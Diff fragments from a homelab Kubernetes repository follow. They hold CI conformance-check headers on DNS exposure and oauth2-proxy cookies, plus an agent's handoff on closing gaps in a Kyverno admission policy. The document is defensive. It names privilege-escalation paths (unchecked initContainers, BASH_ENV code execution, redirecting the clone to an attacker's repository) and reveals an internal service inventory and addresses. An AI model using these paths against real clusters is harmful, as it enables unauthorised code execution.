+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.

+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.

+# =============================================================================
+# L0 STATIC — no service declared `internal` can produce a PUBLIC DNS record
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. docs/09 R-DNS-03 says `internal` services are unreachable from the
+# public internet, that external names resolve to the PUBLIC IP, and that Pi-hole provides the
+# internal split-horizon answers. schemas/renderer-contract.md §exposure says an `internal`
+# service renders "no public DNS record". NOTHING ENFORCED EITHER SENTENCE. ExternalDNS
+# (platform/externaldns/helmrelease.yaml, `sources: [gateway-httproute, service]`,
+# `policy: sync`, provider cloudflare) considered EVERY HTTPRoute on the shared Gateway, so six
+# `exposure: internal` services — jackett, pihole, qbittorrent, radarr, semaphore, sonarr — each
+# published `<name>.home.keithjackson.dev` into the PUBLIC authoritative Cloudflare zone,
+# answering with the Gateway VIP 192.168.2.20. Verified at the authority on 2026-09-14; the
+# pre-state is committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt.
+#
+# Three things were wrong at once, and none of them was visible from inside the cluster:
+#   * the internal subnet, the Gateway VIP and a complete service inventory were publicly
+#     enumerable by anyone who could guess or brute-force a label;
+#   * a public name answering with an RFC1918 address IS a DNS-rebind primitive, which is why the
+#     SOHO router at 192.168.2.1 strips those answers and LAN clients need per-client dnsmasq
+#     overrides to reach their own services;
+#   * the guarantee was only ever prose. `exposure` was the operator's one declaration of intent
+#     and it had NO effect on DNS whatsoever, so "internal" meant nothing an attacker had to
+#     respect.
+#
+# WHY THE FIX NEEDS A GUARD AND NOT JUST A COMMIT. The mechanism is an annotation on a rendered
+# HTTPRoute. An annotation is exactly the kind of thing that survives review by looking harmless
+# and then disappears in a refactor of `_route_meta`, a hand-edit of apps/, or a new service added
+# by copying a public one. Nothing about its ABSENCE is loud: the service keeps working on the LAN,
+# the Kustomization stays Ready, and the only symptom is a public record nobody is looking at. The
+# 2026-09-13 ServiceMonitor incident in this same tree is the precedent — twelve monitors pointed
+# at a port that did not exist for weeks, silently, because the only thing asserting the wiring was
+# prose. This test makes the DNS guarantee a gate condition instead.
+#
+# GIVEN every ServiceDefinition in catalog/ and every HTTPRoute and external-dns-annotated
+#       Service this repo authors,
+# WHEN  each catalog service's rendered routes are resolved in the applied tree (apps/),
+# THEN  (1) every route of an `exposure: internal` service carries ExternalDNS's own controller
+#           annotation set to something OTHER than `dns-controller`, which external-dns v0.21.0
+#           uses to skip the source object outright (source/gateway.go ->
+#           annotations.IsControllerMismatch, checked before any hostname is resolved), so the
+#           route cannot become an endpoint for ANY name it declares;
+#       (2) NO route of an `exposure: public` service carries it — asserted explicitly, because a
+#           renderer that stamped every route would satisfy (1) perfectly while silently
+#           withdrawing the five public services' records, and `policy: sync` would delete them;
+#       (3) the same holds for the `service` source: an internal service's rendered Service may
+#           not carry an external-dns hostname annotation without the disown annotation beside it.
+#           Two sources are configured, so closing only the route half is half a guarantee;
+#       (4) the annotation is DERIVED FROM `exposure` in catalog/render.py and from nothing else —
+#           the emitting function must read `exposure`, must not name any catalog service, and
+#           must not be able to emit external-dns's own `dns-controller` value (the one value that
+#           CLAIMS a route rather than releasing it, inverting the guarantee while looking
+#           plausible). A per-service list is how twelve ServiceMonitors acquired one identical
+#           wrong port name in a single edit;
+#       (5) THE RENDERER IS PROVEN END-TO-END on synthetic ServiceDefinitions, by invoking the
+#           SHIPPED catalog/render.py as a subprocess: an `internal` fixture must yield the
+#           annotation, a `public` fixture must not, and a fixture that OMITS `exposure` must also
+#           yield it (the contract's default posture is `internal`, and omitting the field is the
+#           likeliest way a new service arrives). Without this the check would still pass if the
+#           renderer stopped working and someone hand-maintained apps/;
+#       (6) every HTTPRoute or annotated Service in the tree that the catalog does NOT render is
+#           DECLARED in KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why it is out of
+#           scope. Those are hand-authored platform/apps manifests with no `exposure` field for a
+#           renderer to read, and they are the seven names that REMAIN publicly advertised with an
+#           RFC1918 answer after this change. The register is shrink-only: an entry that stops
+#           matching a real object FAILS as stale, so the set of unadjudicated publishers cannot
+#           quietly grow, and adding a new one is a review event;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
+#           so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate run, and
+#           ci/gate.sh blocks the merge when the l0 stage fails. It deliberately adds NO stage to
+#           ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh's path map keys apps/* to NOTHING, and
+# apps/ is exactly where the rendered routes live. A requirement-scoped selection would therefore
+# filter this check out of the change most likely to break it — a hand-edit of a rendered route.
+# Same reasoning as its whole-repo siblings.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py and
+# the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it directly,
+# and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is static, and it runs with no cluster and no network):
+#   - That the record is actually GONE from Cloudflare. That is a live read against an external
+#     authority and belongs in L2 beside conformance/tests/l2-behavioral/dns-exposure, which owns
+#     the positive direction (a public name DOES appear). The negative direction was proven
+#     MANUALLY on prod against the deployed v0.21.0 before this landed — a throwaway HTTPRoute
+#     carrying the annotation produced no record at all, and adding the annotation to a route that
+#     already had one produced `action=DELETE` for both its A record and its `a-` TXT registry
+#     entry within one ~60s reconcile — but a manual proof is not a gate.
+#   - That an `internal` name is unreachable from the internet. No DNS record is necessary for
+#     reachability; a port-forward plus a hardcoded IP still reaches the Gateway. This check owns
+#     the NAME axis only. R-NET-04 / the edge port-forward posture owns the other.
+#   - Anything about the seven non-catalog publishers' own correctness. The register records WHAT
+#     each publishes so the claim is reviewable, which is all a static check can offer.
+#   - Anything about the five `public` services' TARGET. They still resolve to the Gateway VIP
+#     rather than a routable address; that is an open operator decision recorded in
+#     platform/externaldns/helmrelease.yaml, and asserting a target here would hard-code a guess.

+# docs/09 R-DNS-03 and schemas/renderer-contract.md §exposure both say an `internal` service
+# renders no public DNS record. Nothing enforced it: ExternalDNS watched every HTTPRoute on the

+# derives ExternalDNS's controller annotation from `exposure` in catalog/render.py; this check is
+# what keeps it derived, present, and scoped.
+#
+# ASSERTIONS
+#   (0) the inventory is non-empty and the parse contract holds (anti-vacuous-pass);
+#   (1) every rendered route of an `internal` service carries the disown annotation;
+#   (2) NO rendered route of a `public` service carries it — a renderer stamping everything would

+#   (3) the `service` source half: an internal service's Service may not carry an external-dns
+#       hostname annotation without the disown annotation beside it;
+#   (4) catalog/render.py DERIVES the annotation from `exposure` — the emitting function reads that
+#       field, names no catalog service, and cannot emit external-dns's own `dns-controller`;
+#   (5) the SHIPPED renderer is proven end-to-end on synthetic ServiceDefinitions (internal,
+#       public, and `exposure` OMITTED — the contract's default posture is internal);
+#   (6) every HTTPRoute / annotated Service the catalog does NOT render is declared in

+#   (7) the check is LOAD-BEARING: whole-repo scope declared in chainsaw-test.yaml, honoured by

+# L0 STATIC — `--api-route` is PER APP, ANCHORED, and DECLARED
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. oauth2-proxy answers an unauthenticated request with a 302 to
+# Keycloak. Its built-in AJAX guard would send a 401 instead, but it fires only on an EXACT
+# `Accept: application/json`, which these apps' JavaScript does not consistently send. So a
+# browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied silently by the live Keycloak
+# SSO session, and resolves 200 carrying the app's HTML where the JavaScript expected JSON — no
+# prompt, no console error, nothing logged as a failure. On a WRITE it is worse: a browser
+# following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
+# discarded and the UI reports success.
+#
+# MEASURED, twice, on two different apps and two different paths:
+#   jackett 2026-09-30 — on /api/ paths: 33 x 302 against 2 x 401, and 4 of 6 POSTs answered BY
+#           THE PROXY, never reaching Jackett (access-log upstream field `-`, not `/`). That is
+#           the operator's whole report: "GET works, most PUT/POST to add indexers fail,
+#           reloading never fixes it, and I am never re-prompted for login".
+#   radarr  2026-10-01, 23h after the cookie fix rolled (pod radarr-7d55cbffb9-42hmh, 0
+#           restarts) — 232 unauthenticated requests in the pod's whole lifetime and ALL 232 are
+#           the same call: `POST /signalr/messages/negotiate` from a browser UA, 302, upstream
+#           `-`. A left-open tab whose session the cookie rename orphaned, polling SignalR
+#           forever, silently redirected every time, NEVER re-prompting. The reported symptom,
+#           still running in production, on a service nobody was watching.
+#
+# WHY IT CANNOT BE A RENDERER CONSTANT — AND WHY THAT NEEDS A GATE. The path shape belongs to
+# the APP, not to the forward-auth pattern: radarr's broken path is `/signalr/`, jackett's is
+# `/api/`, and PIHOLE SERVES NO `/api/` AT ALL. One function renders all five sidecars
+# (catalog/render.py::_oauth2_sidecar_container), so the cheap fix is a constant — and a
+# constant applies one app's measurement to four apps nobody measured. The gate that already
+# exists cannot see that mistake: `ci/render-golden.sh` compares the render to the goldens, and
+# a constant plus regenerated goldens AGREE WITH EACH OTHER while both being wrong. Hence
+# assertion (2) below, which compares the rendered flag against each service's OWN
+# ServiceDefinition rather than against the renderer's output.
+#
+# WHY BREADTH IS THE DANGEROUS DIRECTION, AND IT IS NOT SYMMETRIC. A MISSING --api-route is a
+# silent 302 — bad, invisible, recoverable. A TOO BROAD one answers a plain PAGE LOAD with 401:
+# a logged-out operator gets a bare error page and is NEVER OFFERED A SIGN-IN, so the service
+# looks permanently broken and no reload recovers it. That is a worse outcome than the defect
+# the flag fixes, which is why the anchoring rule is asserted on three independent surfaces
+# (schema items.pattern, the renderer, and this check) and why assertion (5) fails if they drift
+# apart — if they do, the loosest one wins silently.
+#
+# GIVEN every oauth2-proxy sidecar this repo DEPLOYS (a container in any manifest at any depth:
+#       the rendered sidecars in apps/, crafty's hand-authored one in platform/), the
+#       ServiceDefinitions in catalog/ that generate five of them, and the renderer itself,
+# WHEN  each sidecar's `--api-route` values are collected (the flag is REPEATABLE, so all of
+#       them, in order) and each onboarded forward-auth service is paired with its golden,
+# THEN  (1) every rendered --api-route is anchored at `^/` and continues with literal path
+#           characters — `^/`, `^/.*`, `.*`, an unanchored `/api/` and any alternation FAIL;
+#       (2) every onboarded forward-auth service's rendered route list EQUALS its own
+#           ServiceDefinition's `auth.apiRoutes`, in order — which fails both a hand-edited
+#           golden and a renderer constant, neither of which render-golden can see;
+#       (3) BOTH cases are live in this tree: at least one service declares routes and at least
+#           one declares none and renders none (the pihole case), so neither path is an
+#           unexercised seam;
+#       (4) `_oauth2_sidecar_container()` reads `auth.apiRoutes` and contains NO literal path
+#           regex — a constant is the defect, back in the one place that reintroduces it
+#           fleet-wide in a single edit;
+#       (5) the anchoring pattern in the renderer and in the schema are the SAME pattern this
+#           check enforces;
+#       (6) the SHIPPED renderer, run as a subprocess on synthetic ServiceDefinitions, emits
+#           exactly the declared routes in order, emits NOTHING for a service declaring none or
+#           an empty list, and REFUSES all five breadth shapes.
+#
+# WHY ALSO A SCHEMA PATTERN, GIVEN THIS CHECK. The schema is the only surface that rejects a
+# too-broad regex WHERE A HUMAN TYPES IT — `ci/l0.sh` validates `catalog/*.yaml` against it on
+# every gate run, so the operator is told at the authoring surface rather than finding out from
+# a 401 on a page load. The renderer's own guard is there because `render-golden` runs even on a
+# gate invocation where the schema stage skipped. This check is there because neither of those
+# can see a renderer constant. Three surfaces, three different blind spots.
+#
+# WHY THIS IS A SIBLING AND NOT PART OF oauth2-proxy-cookie-names-distinct. That check's subject
+# is cookie IDENTITY: its inputs are names and domains, its failure mode is mutual session
+# eviction, its register is the shared proxy's claim on the default name. `--api-route` shares
+# none of those. Bundling them would make that check's name a lie and couple two unrelated
+# ratchets, so a future api-route decision could only be expressed by weakening a COOKIE check —
+# the same discipline that check's own header argues for, applied to this change.
+#
+# WHAT THIS DOES NOT ESTABLISH — read with the handoff entry, not instead of it:

+# L0 STATIC CHECK — `--api-route` is PER APP, ANCHORED, and DECLARED.
+# See chainsaw-test.yaml's header for WHY this exists and what it measured. In one paragraph:
+#
+# oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. A browser XHR follows
+# that redirect invisibly, the live SSO session satisfies it silently, and the call resolves 200
+# carrying the app's HTML where its JavaScript expected JSON — and a POST following a 302 is
+# re-issued as a GET with its BODY DROPPED. `--api-route=<regex>` makes matching paths answer
+# 401 instead. The flag is right for jackett (`/api/`) and radarr (`/signalr/`, `/api/`) and
+# WRONG for pihole, which serves no `/api/` at all — so it cannot be a renderer constant, and
+# the point of this check is that it never becomes one again.
+#
+# The breadth direction is the dangerous one and it is NOT symmetric with the bug. A missing
+# `--api-route` is a silent 302; a TOO BROAD one answers a plain PAGE LOAD with 401, so a
+# logged-out operator gets a bare error page and is never offered a sign-in — the service looks
+# permanently broken. That is a worse outcome than the defect, which is why the anchoring rule
+# is asserted here as well as in the schema.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
+# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if the
+# tree contains no forward-auth oauth2-proxy sidecar at all — genuinely nothing to audit.

+# =============================================================================
+# L0 STATIC — no two oauth2-proxy instances can share a browser cookie
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. Every oauth2-proxy on this platform is an INDEPENDENT instance with
+# its OWN `cookie-secret`: five per-app reverse-proxy sidecars (jackett, pihole, qbittorrent,
+# radarr, sonarr), crafty's, and the SHARED forward-auth proxy. Measured on prod 2026-09-30:
+# seven `*-oauth2-proxy` Secrets, SEVEN DISTINCT cookie-secret values — so no instance can
+# decrypt any other's cookie.
+#
+# They were all emitting oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and
+# `_oauth2_proxy_csrf`), scoped to `.${BASE_DOMAIN}`. A cookie is keyed by (name, domain, path),
+# so the browser kept ONE pair for ALL of them. Whichever proxy authenticated last OVERWROTE
+# every other's session; the loser logged `No valid authentication in request`, bounced to
+# Keycloak, and — the SSO session still being live — was redirected straight back and overwrote
+# the cookie again. Six live instances, one cookie, mutual eviction.
+#
+# WHY IT IS THE WORST KIND OF BUG. The symptom is "I signed into Keycloak but I'm still not
+# signed in", which points the investigator at Keycloak, where nothing is wrong. It is
+# INTERMITTENT — it only appears once a browser has visited a SECOND gated app, so the obvious
+# single-app reproduction succeeds — and it is SILENT: every Deployment stays Ready, every
+# Kustomization stays Ready, the proxy's own log line names an authentication failure rather
+# than a collision. It went unnoticed across five services for the whole life of the pattern,
+# and was found only as a side effect of investigating something else (2026-09-29, crafty).
+#
+# WHY A COMMIT IS NOT ENOUGH, AND THIS IS A GATE STAGE. The collision is a property of the
+# PATTERN, not of any one app: the next forward-auth service onboarded inherits the defect by
+# doing nothing at all, because a missing flag IS the bug. Nothing about its absence is loud.
+# This is the same shape as the twelve inert ServiceMonitors in this tree — one omission,
+# copied, invisible for weeks — and the same remedy: make the omission fail the merge.
+#
+# GIVEN every oauth2-proxy instance this repo authors — a container in any manifest (the
+#       rendered sidecars in apps/, crafty's hand-authored one in platform/) and the shared
+#       proxy's HelmRelease values,
+# WHEN  each instance's EFFECTIVE cookie name is resolved (its declared `--cookie-name` /
+#       `OAUTH2_PROXY_COOKIE_NAME`, or oauth2-proxy's built-in default `_oauth2_proxy` when it
+#       declares none — an omission is a NAME, not an absence, and that is the whole bug),
+# THEN  (1) no two instances share an effective cookie name;
+#       (2) no instance's effective name is another's name + `_csrf` — oauth2-proxy derives the
+#           CSRF cookie that way, so `_oauth2_proxy` and `_oauth2_proxy_csrf` as two SESSION
+#           names would collide on the second cookie while looking distinct on the first;
+#       (3) the DEFAULT name has exactly ONE owner and it is the instance declared in
+#           SHARED_DEFAULT_COOKIE_OWNER. This is the deliberate ASYMMETRY. The shared
+#           forward-auth proxy MUST keep `_oauth2_proxy`: it is the single session every
+#           OTHER forward-auth-gated surface on the platform rides on, so renaming it signs
+#           every one of them out at once. The rule is therefore NOT "every instance must
+#           declare a name" — it is "the default is a NAME LIKE ANY OTHER, held by exactly one
+#           REGISTERED owner". That formulation needs no exemption from (1), and it closes the
+#           hole an exemption would leave: if the shared proxy is ever removed, an app silently
+#           inheriting the default would still FAIL here instead of quietly becoming its heir;
+#       (4) every instance that is NOT that owner is HOST-SCOPED: its `--cookie-domain` equals
+#           the host of its own `--redirect-url`. See the argument below;
+#       (5) catalog/render.py DERIVES both flags from the ServiceDefinition (the service name
+#           and the route host) and does not carry a per-service table. A list is how twelve
+#           ServiceMonitors acquired one identical wrong port name in a single edit, and a list
+#           leaves the NEXT app defaulting into the collision;
+#       (6) the SHIPPED renderer is proven END-TO-END on synthetic ServiceDefinitions, run as a
+#           subprocess: two forward-auth fixtures must yield two different, non-default cookie
+#           names, each scoped to its own host. Without this, once the tree is compliant (1)-(4)
+#           are satisfied by a tree with nothing left to catch, and a guard whose only evidence
+#           is "nothing failed" cannot be told apart from one that stopped working;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope:
+#           whole-repo`, so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into
+#           EVERY gate run, and ci/gate.sh blocks the merge when the l0 stage fails. It
+#           deliberately adds NO stage to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired
+#           fails the gate if anyone adds one.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh maps `apps/*` to R-IDP-02/R-IDP-06
+# today, but the instances live in THREE unrelated subtrees (apps/, platform/crafty/,
+# platform/oauth2-proxy/) and the file most likely to reintroduce the defect is
+# catalog/render.py, which maps to R-GITOPS-02 and to no identity requirement at all. A
+# requirement-scoped selection would filter this check out of exactly the change that breaks it.
+#
+# ON ASSERTION (4), HOST-SCOPED COOKIE-DOMAIN — the argument, and the decision.
+#   AGAINST asserting it (overreach): distinct NAMES already close the eviction bug completely.
+#   Two cookies with different names do not overwrite each other however wide their domains are,
+#   so (4) fixes nothing that (1) has not already fixed. `--cookie-domain` is also a legitimate
+#   knob — a future proxy fronting two hostnames of one app would need a wider value — and a
+#   check that fails correct configurations is a check someone eventually disables.
+#   FOR asserting it (and this wins): a zone-wide cookie is TRANSMITTED BY THE BROWSER TO EVERY
+#   HOST IN THE ZONE. qBittorrent's session token is therefore sent to pihole, to radarr, to
+#   sonarr, and to every other name under `.${BASE_DOMAIN}` — including hosts behind no proxy at
+#   all. That is a session-credential disclosure across trust boundaries that no one needs and
+#   nobody asked for; the sidecar's session is only ever meaningful to the one app it fronts.
+#   And it is what makes a FUTURE name collision catastrophic rather than contained: with
+#   host-scoped cookies, two instances that accidentally share a name cannot even see each
+#   other's cookie, so the failure this whole test exists to prevent degrades from platform-wide
+#   to nothing. Defence in depth on the exact axis that already failed once.
+#   DECISION: assert it, for every instance except the registered shared proxy — whose whole
+#   job IS cross-host forward-auth, and which is exempted by name and with a reason, not by
+#   loosening the rule. `--whitelist-domain` is deliberately NOT touched: it governs permitted
+#   post-login REDIRECT targets, not cookie scope, and narrowing it breaks the sign-in bounce.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py
+# and the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it
+# directly, and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is STATIC, with no cluster and no browser):
+#   - That anyone can actually sign in. No browser round-trip is performed, and none can be
+#     from L0. The 2026-09-29 crafty entry recorded the same gap and it is still open: the
+#     symptom has never been REPRODUCED in a browser, so this is a latent-bug fix reasoned from
+#     measured configuration, not a fix watched to work.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b). The
+#     live flags were measured separately, once, by hand; nothing here re-measures them, and a
+#     hand-applied drift would not be visible to this check.
+#   - That the cookie-secrets really differ. That is a Secret comparison and belongs in-cluster;
+#     it was measured out of band (seven distinct values, compared without printing any of
+#     them). If they were ever made IDENTICAL the collision would become harmless — but sharing
+#     one session-encryption key across trust zones is a worse idea than the bug it would mask,
+#     so this check does not offer it as an alternative and does not look for it.
+#   - Anything about the CONTENT of a session, group authorization, or the CSRF cookie's own
+#     behaviour. Names and domains only.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).

+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
